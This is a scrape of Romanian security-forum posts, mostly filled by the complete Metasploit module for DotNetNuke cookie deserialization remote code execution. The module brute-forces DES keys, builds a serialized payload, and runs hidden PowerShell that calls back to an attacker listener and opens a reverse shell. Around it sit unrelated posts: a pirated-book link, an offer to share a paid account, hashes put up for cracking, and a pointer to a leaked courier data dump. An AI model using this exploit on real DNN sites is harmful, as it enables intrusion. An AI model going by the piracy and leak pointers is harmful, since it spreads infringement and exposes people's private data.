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Salut, Cisco ofera niste cursuri de Cybersecurity si de Python free. Mai sunt si altele dar pentru mine neinteresante. Personal il fac acum pe cel de la Python care este oferit de Python Institute si este chiar ok. Interfata ok, explicatii ok, exemple ok, teste ok. https://www.cisco.com/c/m/en_sg/partners/cisco-networking-academy/index.html Mai sus gasiti lista cu aceste cursuri. Primiti si o certificare la final (pe care va sftauiesc sa o folositi pe post de hartie igienica si sa nu mai dati iama la Mega Image ca azi n-am mai gasit nimic). Bafta! PS: Pentru cei care se pregatesc sa imi spuna ca sunt niste certificari de cacat. Nu conteaza certificarea ci ce stiti voi. Dar certificarea va ajuta sa treceti de HR, adica de acele domnisoare care stiu cum se aplica oja pe unghii mai mult decat diferenta dintre CCENT si CCIE, ca tot m-am lovit de problema asta curand.

Acum trimit. Trimis.

@aismen

Avira au ramas in urma in ultimii ani, fata de rivalii lor precum Kaspersky, GDATA (tot din Germania), Bitdefender, etc. Tehnologia lor s-a bazat si se bazeazas din pacate in continuare pe semnaturi, un dezavantaj major fata de companiile ce au recurs la diverse tehnologii de behavioural blocker, unele facand uz de chestii de-astea moderne de machine learning. Cred ca de-asta au vandut compania. Ca produsul lor sa devina competitiv e nevoie de investitii majore, si probabil ca arabi se bazeaza pe marketing si pe numele de Avira, sa mai scoata si ei niste dinero cat mai merge.

Uita-te aici: https://www.pluralsight.com/search?categories=course&q=network security https://www.pluralsight.com/search?q=cryptography&categories=course Au gratuit https://www.pluralsight.com/offer/2020/free-april-month toata luna Aprilie (si e posibil sa extinda). Revino in Mai/dupa ce le termini si iti mai dau.

Ca sa nu se vada dosarele.

A intampinat vreo careva probleme cu viteza de internet in perioada asta, in contextul de fata?

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Claudiu Zamfir Joi, 9 Apr 2020 - 16:07 Antivirusul german Avira, cumpărat de arabi. Prețul tranzacției Sursa imagine Avira Compania germană de securitate cibernetică Avira, care are circa 140 de angajați în România, a anunțat joi că va fi achiziționată de fondul de investiții Investcorp, din Bahrain. Prețul tranzacției este de 180 de milioane de dolari, conform acordului definitiv dintre părți, care trebuie supus mai departe aprobării organismelor de reglementare a pieței, potrivit firmei de investiții arabe. În cadrul tranzacției, firmele Avira Holding GmbH & Co KG și ALV GmbH & Co KG vor fi preluate de fondul Investcorp Technology Partners IV, gestionat de firma de investiții fondate în Bahrain. Cunoscută pentru antivirusul său popular și în România, compania germană, cu sediul central la Tettnang, a fost fondată în anul 1986, de antreprenorul Tjark Auerbach, iar achiziția anunțată joi reprezintă prima investiție instituțională în Avira în cei 34 de ani de exisență. „Ne protejăm utilizatorii de mai bine de 30 de ani. În Investcorp, am un partener de investiții care îmi împărtășește valorile și care va sprijini strategia echipei de management în a continua să protejăm oamenii, mulți ani de acum înainte”, a declarat fndatorul Avira, Tjark Auerbach. În România, Avira este prezentă prin firma sa locală, Avira Soft SRL, înființată în anul 2004, la București. În anul 2018, firma din România a avut o cifră de afaceri de 8,7 milioane de dolari și un profit de 351.000 de dolari, cu un număr mediu de 146 de angajați, conform datelor oficiale colectate de Termene.ro. De partea cealaltă, firma de investiții Investcorp a fost fondată în anul 1982, la Manama, Bahrain, de Nemir Kirdar. Fondul de investiții din Golful Persic este cunoscut pentru achiziționarea magazinelor americane de bijuterii de lux Tiffany & Co., în anul 1984. În 2020, Tiffany a intrat în portofoliul gigantului francez de produse de lux LVMH. Cu fonduri sub management de peste 34 de miliarde de dolari, Investcorp este listată la Bursa din Bahrain (BSE) și are o prezență consistentă, în toată lumea, cu biroururi la New York, Londra, Abu Dhabi, Riyadh, Doha, Mumbai, Singapore. Sursa: https://www.startupcafe.ro/afaceri/antivirus-avira-cumparat-arabi-pret.htm?

Daca esti la inceput in criptografie poti incepe cu astea https://anonfiles.com/h7S8C4n2o7/Cryptography_For_Dummies_pdf_versiunea_1 Am un cont de udemy cu 2-3 cursuri despre securitatea retelelor si ceva capitole de criptografie, pm si putem imparti contul daca doresti

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hai capriorilor. bateti-va pe ele 040fa98bfd212b9c20743fc5e6620422 c3e552ab96b1dce153f59f85caed390a

@Gecko, 4, stai jos! :-))

Ai foarte mare dreptate, nu cred si nu voi crede niciodata ca pot sa schimb o mentalitate. Dar daca nu incerc sa fac asta, nu am dreptul sa ma plang. Este adevarat ca pe undeva pe drum, nervii si persistenta unora m-au facut sa imi pierd argumentele si sa recurg la jigniri. Am sa incerc sa nu o mai fac atat de agresiv aici pe forum

Facem sa fie bine ca sa nu fie rau

Trimis.

This Metasploit module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 through 9.3.0-RC. Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML. The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization. The cookie is processed by the application whenever it attempts to load the current user's profile data. This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration). An attacker can leverage this vulnerability to execute arbitrary code on the system. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/powershell' require 'openssl' require 'set' class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer Rank = ExcellentRanking # ================================= # Overidden setup method to allow # for delayed handler start # ================================= def setup # Reset the session counts to zero. reset_session_counts return if !payload_instance return if !handler_enabled? # Configure the payload handler payload_instance.exploit_config = { 'active_timeout' => active_timeout } # payload handler is normally set up and started here # but has been removed so we can start the handler when needed. end def initialize(info = {}) super(update_info( info, 'Name' => "DotNetNuke Cookie Deserialization Remote Code Excecution", 'Description' => %q( This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC. Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML. The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization. The cookie is processed by the application whenever it attempts to load the current user's profile data. This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration). An attacker can leverage this vulnerability to execute arbitrary code on the system. ), 'License' => MSF_LICENSE, 'Author' => [ 'Jon Park', 'Jon Seigel' ], 'References' => [ [ 'CVE', '2017-9822' ], [ 'CVE', '2018-15811'], [ 'CVE', '2018-15812'], [ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811 [ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812 [ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'], [ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'], [ 'URL', 'https://github.com/pwntester/ysoserial.net'] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { 'auto' => true } ], [ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ], [ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ], [ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ], [ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { }, 'Privileged' => false, 'DisclosureDate' => "Jul 20 2017", 'DefaultOptions' => { 'WfsDelay' => 5 }, 'DefaultTarget' => 0 )) deregister_options('SRVHOST') register_options( [ OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']), OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]), OptString.new('VERIFICATION_PLAIN', [false, %q(The known (full or partial) plaintext of the encrypted verification code. Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), '']), OptBool.new('ENCRYPTED', [true, %q(Whether or not to encrypt the final payload cookie; (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.), false]), OptString.new('KEY', [false, 'The key to use for encryption.', '']), OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']), OptString.new('SESSION_TOKEN', [false, %q(The .DOTNETNUKE session cookie to use when submitting the payload to the target server. DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.), '']), OptString.new('VERIFICATION_CODE', [false, %q(The encrypted verification code received in a registration email. Can also be the path to a file containing a list of verification codes.), '']) ] ) initialize_instance_variables end def initialize_instance_variables # ================== # COMMON VARIABLES # ================== @target_idx = 0 # Flag for whether or not to perform exploitation @dry_run = false # Flag for whether or not the target requires encryption @encrypted = false # Flag for whether or not to attempt to decrypt the provided verification token(s) @try_decrypt = false # ================== # PAYLOAD VARIABLES # ================== # ObjectStateFormatter serialized header @osf_header = [255, 1, 50] # ObjectStateFormatter serialized data before the command payload @osf_wrapper_start = [ 0, 1, 0, 0, 0, 255, 255, 255, 255, 1, 0, 0, 0, 0, 0, 0, 0, 12, 2, 0, 0, 0, 73, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 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(v9.1.1+) @passphrase = "" # ================== # v9.2.0+ VARIABLES # ================== # Session token needed for exploitation (v9.2.0+) @session_token = "" # ================== # v9.2.2+ VARIABLES # ================== # User ID format (v9.2.2+) # Number of characters of user ID available in plaintext # is equal to the length of a GUID (no spaces or dashes) # minus (blocksize - known plaintext length). @user_id_pt_length = 32 - (8 - @kpt.length) @user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/ # Plaintext found from decryption (v9.2.2+) @found_pt = "" @iv_charset = "0123456789abcdef" # Possible IVs used to encrypt verification codes (v9.2.2+) @possible_ivs = Set.new([]) # Possible keys used to encrypt verification codes (v9.2.2+) @possible_keys = Set.new([]) # passphrases (key + iv) values to use for payload encryption (v9.2.2+) @passphrases = [] # char sets to use when generating possible base keys @unchanged = Set.new([65,70]) end def decode_verification(code) # Decode verification code base don DNN format return String.new( Rex::Text.decode_base64( code.chomp.gsub(".", "+").gsub("-", "/").gsub("_", "=") ) ) end # ============== # Main function # ============== def exploit return unless check == Exploit::CheckCode::Appears @encrypted = datastore['ENCRYPTED'] verification_code = datastore['VERIFICATION_CODE'] if File.file?(verification_code) File.readlines(verification_code).each do |code| @verification_codes.push(decode_verification(code)) end else @verification_codes.push(decode_verification(verification_code)) end @kpt = datastore['VERIFICATION_PLAIN'] @session_token = datastore['SESSION_TOKEN'] @dry_run = datastore['DryRun'] key = datastore['KEY'] iv = datastore['IV'] if target['ReqEncrypt'] && @encrypted == false print_warning("Target requires encrypted payload. Exploit may not succeed.") end if @encrypted # Requires either supplied key and IV, or verification code and plaintext if (!key.blank? && !iv.blank?) @passphrase = key + iv # Key and IV were supplied, don't try and decrypt. @try_decrypt = false elsif (!@verification_codes.empty? && !@kpt.blank?) @try_decrypt = true else fail_with(Failure::BadConfig, "You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).") end end if target['ReqSession'] if @session_token.blank? fail_with(Failure::BadConfig, "Target requires a valid SESSION_TOKEN for exploitation.") end end if @encrypted && @try_decrypt # Set IV for decryption as the known plaintext, manually # apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed. # For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time. # For v9.2.2+ it will find an initial base key faster than if padding were enabled. f8_plain = @kpt[0, 8] c_iv = f8_plain.unpack("C*") + [8 - f8_plain.length] * (8 - f8_plain.length) @decryptor.iv = String.new(c_iv.pack("C*")) @decryptor.padding = 0 key = find_key(@verification_codes[0]) if key.blank? return end if @target_idx == 4 # target is v9.2.2+, requires base64 generated key and IV values. generate_base_keys(0, key.each_byte.to_a, "") vprint_status("Generated #{@possible_keys.size} possible base KEY values from #{key}") # re-enable padding here as it doesn't have the # same performance impact when trying to find possible IV values. @decryptor.padding = 1 print_warning("Finding possible base IVs. This may take a few minutes...") start = Time.now find_ivs(@verification_codes, key) elapsed = Time.now - start vprint_status( format( "Found %<n_ivs>d potential Base IV values using %<n_codes>d "\ "verification codes in %<e_time>.2f seconds.", n_ivs: @possible_ivs.size, n_codes: @verification_codes.size, e_time: elapsed.to_s ) ) generate_payload_passphrases vprint_status(format("Generated %<n_phrases>d possible base64 KEY and IV combinations.", n_phrases: @passphrases.size)) end if @passphrase.blank? # test all generated passphrases by # sending an exploit payload to the target # that will callback to an HTTP listener # with the index of the passphrase that worked. # set SRVHOST as LHOST value for HTTPServer mixin datastore['SRVHOST'] = datastore['LHOST'] print_warning("Trying all possible KEY and IV combinations...") print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...") start_service vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...") test_passphrases # If no working passphrase has been found, # wait to allow the the chance for the last one to callback. if @passphrase.empty? && !@dry_run sleep(wfs_delay) end if service stop_service end print "\r\n" if !@passphrase.empty? print_good("KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..-1]} found") end end end send_exploit_payload end # ===================== # For the check command # ===================== def check if target.name == 'Automatic' select_target end @target_idx = Integer(datastore['TARGET']) if @target_idx == 0 fail_with(Failure::NoTarget, 'No valid target found or specified.') end # Check if 404 page is custom or not. # Vulnerability requires custom 404 handling (enabled by default). uri = normalize_uri(target_uri.path) print_status("Checking for custom error page at: #{uri} ...") res = send_request_cgi( 'uri' => uri ) if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600 print_good("Custom error page detected.") else print_error("IIS Error Page detected.") return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears end # =========================== # Auto-select target version # =========================== def select_target print_status("Trying to determine DNN Version...") # Check for copyright version in /Documentation/license.txt uri = %r{^(.*[\\\/])}.match(target_uri.path)[0] vprint_status("Checking version at #{normalize_uri(uri + 'Documentation', 'License.txt')} ...") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(uri + 'Documentation', 'License.txt') ) year = -1 if res && res.code == 200 # License page found, get latest copyright year. matches = @cr_regex.match(res.body) if matches year = matches[0].to_i end else vprint_status("Checking version at #{uri} ...") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(uri) ) if res && res.code == 200 # Check if copyright info is in page HTML. matches = @cr_regex.match(res.body) if matches year = matches[0].to_i end end end if year >= 2018 print_warning( %q(DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN. Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2. Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.") ) datastore['TARGET'] = 3 elsif year == 2017 print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED') datastore['TARGET'] = 2 elsif year < 2017 && year > 2008 print_good("DNN Version Found: v5.1.0 - v9.0.1") datastore['TARGET'] = 1 elsif year == 2008 print_warning("DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).") datastore['TARGET'] = 1 else print_warning("Could not determine DNN version. Target may still be vulnerable. Manually set the Target value") end end # ============================== # Known plaintext attack to # brute-force the encryption key # ============================== def find_key(cipher_text) print_status("Finding Key...") # Counter total_keys = @key_charset.length**8 i = 1 # Set start time start = Time.now # First char @key_charset.each_byte do |a| key = a.chr # 2 @key_charset.each_byte do |b| key[1] = b.chr # 3 @key_charset.each_byte do |c| key[2] = c.chr # 4 @key_charset.each_byte do |d| key[3] = d.chr # 5 @key_charset.each_byte do |e| key[4] = e.chr # 6 @key_charset.each_byte do |f| key[5] = f.chr # 7 @key_charset.each_byte do |g| key[6] = g.chr # 8 @key_charset.each_byte do |h| key[7] = h.chr if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key)) elapsed = Time.now - start print_search_status(i, elapsed, total_keys) print_line if @target_idx == 4 print_good("Possible Base Key Value Found: " + key) else print_good("KEY Found: " + key) print_good("IV Found: " + @passphrase[8..-1]) end vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i)) vprint_status(format("Time to crack: %<c_time>.3f seconds", c_time: elapsed.to_s)) return String.new(key) end # Print timing info every 5 million attempts if i % 5000000 == 0 print_search_status(i, Time.now - start, total_keys) end i += 1 end end end end end end end end elapsed = Time.now - start print_search_status(i, elapsed, total_keys) print_line print_error("Key not found") vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i)) vprint_status(format("Time run: %<r_time>.3f seconds", r_time: elapsed.to_s)) return nil end # ================================== # Attempt to decrypt a ciphertext # and obtain the IV at the same time # ================================== def decrypt_data_and_iv(cipher, cipher_text, key) cipher.key = key begin plaintext = cipher.update(cipher_text) + cipher.final if @target_idx == 4 # Target is v9.2.2+ user_id = plaintext[8, @user_id_pt_length] if @user_id_regex.match(user_id) return true end return false end # This should only execute if the version is 9.1.1 - 9.2.1 iv = plaintext[0, 8] if !@iv_regex.match(iv) return false end # Build encryption passphrase as DNN does. @passphrase = key + iv # Encrypt the plaintext value using the discovered key and IV # and compare with the initial ciphertext if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase) @passphrases.push(String.new(key + iv)) return true end rescue StandardError # Ignore decryption errors to allow execution to continue return false end return false end def print_search_status(num_tries, elapsed, max_tries) msg = format("Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.", s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100) print("\r%bld%blu[*]%clr #{msg}") end # =========================== # Encrypt data using the same # pattern that DNN uses. # =========================== def encrypt_data(cipher, message, passphrase) cipher.key = passphrase[0, 8] cipher.iv = passphrase[8, 8] return cipher.update(message) + cipher.final end # =============================================== # Generate all possible base key values # used to create the final passphrase in v9.2.2+. # DES weakness allows multiple bytes to be # interpreted as the same value. # =============================================== def generate_base_keys(pos, from_key, new_key) if !@unchanged.include? from_key[pos] if from_key[pos] % 2 == 0 new_key[pos] = (from_key[pos] + 1).chr else new_key[pos] = (from_key[pos] - 1).chr end if new_key.length == 8 @possible_keys.add(String.new(new_key)) # also add key with original value new_key[pos] = (from_key[pos]).chr @possible_keys.add(String.new(new_key)) else generate_base_keys(pos + 1, from_key, String.new(new_key)) # also generate keys with original value new_key[pos] = (from_key[pos]).chr generate_base_keys(pos + 1, from_key, String.new(new_key)) end else new_key[pos] = (from_key[pos]).chr if new_key.length == 8 @possible_keys.add(String.new(new_key)) else generate_base_keys(pos + 1, from_key, String.new(new_key)) end end end # ============================================== # Find all possible base IV values # used to create the final Encryption passphrase # ============================================== def find_ivs(cipher_texts, key) num_chars = 8 - @kpt.length f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/ @decryptor.key = key found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final # Find all possible IVs for the first ciphertext brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..-1]) # Reduce IV set by testing against other ciphertexts cipher_texts.drop(1).each do |cipher_text| @possible_ivs.each do |iv| @decryptor.iv = iv pt = @decryptor.update(cipher_text) + @decryptor.final if !f8regex.match(pt[0, 8]) @possible_ivs.delete(iv) end end end end # ========================================== # A recursive function to find all # possible valid IV values using brute-force # ========================================== def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt) charset = "0123456789abcdef" if num_chars_needed == 0 @decryptor.key = key @decryptor.iv = pt_prefix pt = @decryptor.update(cipher_text) + @decryptor.final iv = pt[0, 8] if @iv_regex.match(iv) pt = pt_prefix + found_pt if encrypt_data(@encryptor, pt, key + iv) == cipher_text @possible_ivs.add(String.new(iv)) end end return end charset.length.times do |i| brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt) end end # ======================================== # Generate all possible payload encryption # passphrases for a v9.2.2+ target # ======================================== def generate_payload_passphrases phrases = Set.new(@passphrases) @possible_keys.each do |key| @possible_ivs.each do |iv| phrase = Rex::Text.encode_base64( encrypt_data(@encryptor, key + iv, key + iv) ) phrases.add(String.new(phrase[0, 16])) end end @passphrases = phrases.to_a end # =========================================== # Test all generated passphrases by initializing # an HTTP server to listen for a callback that # contains the index of the successful passphrase. # =========================================== def test_passphrases for i in 0..@passphrases.size - 1 # Stop sending if we've found the passphrase if !@passphrase.empty? break end msg = format("Trying KEY and IV combination %<current>d of %<total>d...", current: i + 1, total: @passphrases.size) print("\r%bld%blu[*]%clr #{msg}") url = "#{get_uri}?#{get_resource.delete('/')}=#{i}" payload = create_request_payload(url) cookie = create_cookie(payload) # Encrypt cookie value enc_cookie = Rex::Text.encode_base64( encrypt_data(@encryptor, cookie, @passphrases[i]) ) if @dry_run print_line print_warning("DryRun enabled. No exploit payloads have been sent to the target.") print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...") print_line(enc_cookie) break end execute_command(enc_cookie, host: datastore['RHOST']) end end # =============================== # Request handler for HTTP server. # ============================== def on_request_uri(cli, request) # Send 404 to prevent scanner detection send_not_found(cli) # Get found index - should be the only query string parameter if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s] index = request.qstring[get_resource.delete('/').to_s].to_i @passphrase = String.new(@passphrases[index]) end end # ============================================== # Create payload to callback to the HTTP server. # Note: This technically exploits the # vulnerability, but provides a way to determine # the valid passphrase needed to exploit again. # ============================================== def create_request_payload(url) psh_cmd = "/b /c start /b /min powershell.exe -nop -w hidden -noni -Command \"Invoke-WebRequest '#{url}'\"" psh_cmd_bytes = psh_cmd.bytes.to_a cmd_size_bytes = write_encoded_int(psh_cmd.length) # Package payload into serialized object payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end object_size = write_encoded_int(payload_object.length) # Create the final seralized ObjectStateFormatter payload final_payload = @osf_header + object_size + payload_object b64_payload = Rex::Text.encode_base64(final_payload.pack("C*")) return b64_payload end # ============================================= # Reproduce the WriteEncoded method in # the native .NET ObjectStateFormatter.cs file. # ============================================= def write_encoded_int(value) enc = [] while (value >= 0x80) v = value | 0x80 enc.push([v].pack("V")[0].unpack1("C*")) value >>= 7 end enc.push([value].pack("V")[0].unpack1("C*")) return enc end # ================================= # Creates the payload cookie # using the specified payload # ================================= def create_cookie(payload) cookie = "<profile>"\ "<item key=\"k\" type=\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, "\ "System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],"\ "[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, "\ "Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, "\ "Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">"\ "<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\ "<ProjectedProperty0>"\ "<MethodName>Deserialize</MethodName>"\ "<MethodParameters>"\ "<anyType xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\ "xmlns:d=\"http://www.w3.org/2001/XMLSchema\" i:type=\"d:string\" "\ ">#{payload}</anyType>"\ "</MethodParameters>"\ "<ObjectInstance xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\ "i:type=\"ObjectStateFormatter\" />"\ "</ProjectedProperty0>"\ "</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\ "</item>"\ "</profile>" return cookie end # ========================================= # Send the payload to the target server. # ========================================= def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port }) uri = normalize_uri(target_uri.path) res = send_request_cgi( 'uri' => uri, 'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};" ) if !res fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.") elsif res.code == 404 return true elsif res.code == 400 fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}") else fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}") end end # ====================================== # Create and send final exploit payload # to obtain a reverse shell. # ====================================== def send_exploit_payload cmd_payload = create_payload cookie_payload = create_cookie(cmd_payload) if @encrypted if @passphrase.blank? print_error("Target requires encrypted payload, but a passphrase was not found or specified.") return end cookie_payload = Rex::Text.encode_base64( encrypt_data(@encryptor, cookie_payload, @passphrase) ) end if @dry_run print_warning("DryRun enabled. No exploit payloads have been sent to the target.") print_warning("Printing exploit cookie payload...") print_line(cookie_payload) return end # Set up the payload handlers payload_instance.setup_handler # Start the payload handler payload_instance.start_handler print_status("Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...") execute_command(cookie_payload, host: datastore['RHOST']) end # =================================== # Create final exploit paylod based on # supplied payload options. # =================================== def create_payload # Create payload psh_cmd = "/b /c start /b /min " + cmd_psh_payload( payload.encoded, payload_instance.arch.first, remove_comspec: true, encode_final_payload: false ) psh_cmd_bytes = psh_cmd.bytes.to_a cmd_size_bytes = write_encoded_int(psh_cmd.length) # Package payload into serialized object payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end object_size = write_encoded_int(payload_object.length) # Create the final seralized ObjectStateFormatter payload final_payload = @osf_header + object_size + payload_object b64_payload = Rex::Text.encode_base64(final_payload.pack("C*")) vprint_status("Payload Object Created.") return b64_payload end end Source

Medicii romani au publicat schema de tratament, de ceva timp: https://arpim.ro/mai-multe-metode-de-tratament-impotriva-covid-19-sunt-testate-in-romania-si-in-lume/ Sunt multe alte informatii disponibile. Pacientul 32 a dat detalii despre infectie, cum a fost. O fata a vorbit despre cum s-a simtit ea. Un fotbalist, de asemenea. Persoane din Romania si din alte tari. Declaratii de la medici. Vorbiti cu oameni pe care ii conoasteti, eu am vazut discutii despre simptome de la "prieteni ai unor prieteni". Daca sursele voastre de informare sunt PornHub si Youporn nu aveti de unde sa stiti ce se intampla in tara si in lume. Cititi si asta: https://life.ro/asistent-medical-voluntar-in-iadul-imbolnavirilor-covid-19-carmen-lucia-jitarudin-suceava-inainte-le-stiam-numele-pacientilor-acum-in-fiecare-zi-vin-altii-multi-si-nu-stim-cand-se-vor-o/ o sa va ajute sa intelegeti ca sunteti niste nimicuri paranoice si o sa vedeti ca exista OAMENI. Stiu ca sunteti paranoici, ca nu credeti nimic si ca probabil "forte oculte" vor sa minta oamenii cu cine stie ce interese, dar mai lasati ecranele alea si scoateti capul pe geam sa vedeti si realitatea.

Iti spun eu de ce, pentru ca am medic in familie. Daca un medic apare la tv si spune ca medicamentul X grabeste vindecarea sau amelioreaza simptomele, toti vor da navala in farmacii sa il cumpere si pe de o parte se va epuiza stocul iar pe de alta, cati dintre voi stiti sa administrati un medicament si cati dintre voi stiti efectele adverse? Un medicament nu se cumpara ca hartia igienica. Si daca tot am pornit discutia. Aveti grija cu ajunsul in spital. Dupa ce veti sta 20 de zile in spital, covid va fi ultima voastra grija pe langa multe alte bacterii si ciuperci ce puteti sa luati din spitalele din Romania.

Poate o sa ti se para o prostie, dar pe mine ma ajuta astfel de lucruri. Cand incerc sa invat ceva si nu imi place, gen matematica, nu se prinde deloc de mine. Ceea ce incerc sa fac e sa ma conving ca imi place, ca e interesant, ca e util in viata. Incerc sa ma fac sa imi placa. Si ma ajuta. De asemenea, e important de unde inveti. De multe ori in manuale nu sunt bine explicate lucrurile si nu ai cum sa intelegi. Dar probabil poti gasi alte resurse pe net, fie scrise, fie video, in care sa fie explicate mai in detaliu lucrurile, sau cu mai multe exemple.

Sameday a fost spart, datele despre expediții ajung pe net 7 Apr 2020 · Un cititor îmi semnalează că, pe forumul RaidForums, cineva vinde un dump de date de la Sameday, mai exact “a month’s worth of logs”. Așa o fi. Este acolo și un sample de date și acestea includ numele, adresa și telefonul expeditorului, al destinatarului, numărul de AWB și alte mențiuni de la livrarea pachetului, de exemplu retur cash, cum a decurs livrarea șamd. Nu vreau să dau linkuri spre asta (găsiți căutând în Google, dacă chiar vă interesează) și nici să arăt datele personale ale cuiva pe net, așa că am editat un screenshot. Datele arată ca mai jos: Probabil că Sameday va primi o amendă mărișoară pe partea de GDPR. Problema este următoarea: treaba principală a curierilor este legată de mutat colete din A în B cu ajutorul mașinilor. Transport rutier. Pentru ei, partea de sisteme digitale este una de susținere a activității, dar nu cea în care sunt specializați. Din acest motiv, probabil că nici un curier din România nu stă bine pe partea de securitate a datelor și serverelor proprii. Sper că ceea ce vedeți acum să fie un semnal de alarmă pentru toți din domeniu că ar fi cazul să investească foarte rapid și mult în audituri de securitate și apoi în securizarea sistemelor proprii. Nu de alta, dar aceste companii știu că acum două luni ai comandat de 850 de lei de la un sex-shop sau că primești multe colete de la Elefant sau eMAG sau că firma ta tot schimbă plicuri cu firma cealaltă. Și poate nu vrei să afle și alții astfel de lucruri. Via: https://www.nwradu.ro/2020/04/sameday-hack-date-pe-net/ Cred ca aici fusese postat initial dump-ul https://raidforums.com/Thread-SELLING-x-not-selling-anymore

Salut, Am nevoie de cineva priceput la disassembly pe MacOS, mai specific OS internals & private APIs/opțional objective-c knowledge. Vreau să construiesc o aplicație pe mac la care nu există API-uri documentate. Aici am nevoie de ajutor pentru o chestiune punctuală. Deci cine stăpânește Hopper, class-dump, nm sau alt tool și are skill, PM me. #staySafe

Salutare! Daca vrei sa mergi pe full paranoia iti recomand sa citesti urmatoarele articole https://antoinevastel.com/bot detection/2019/07/19/detecting-chrome-headless-v3.html si https://www.tenantbase.com/tech/blog/cat-and-mouse/. Doua articole foarte interesante despre fingerprinting-ul pe Chrome Headless.

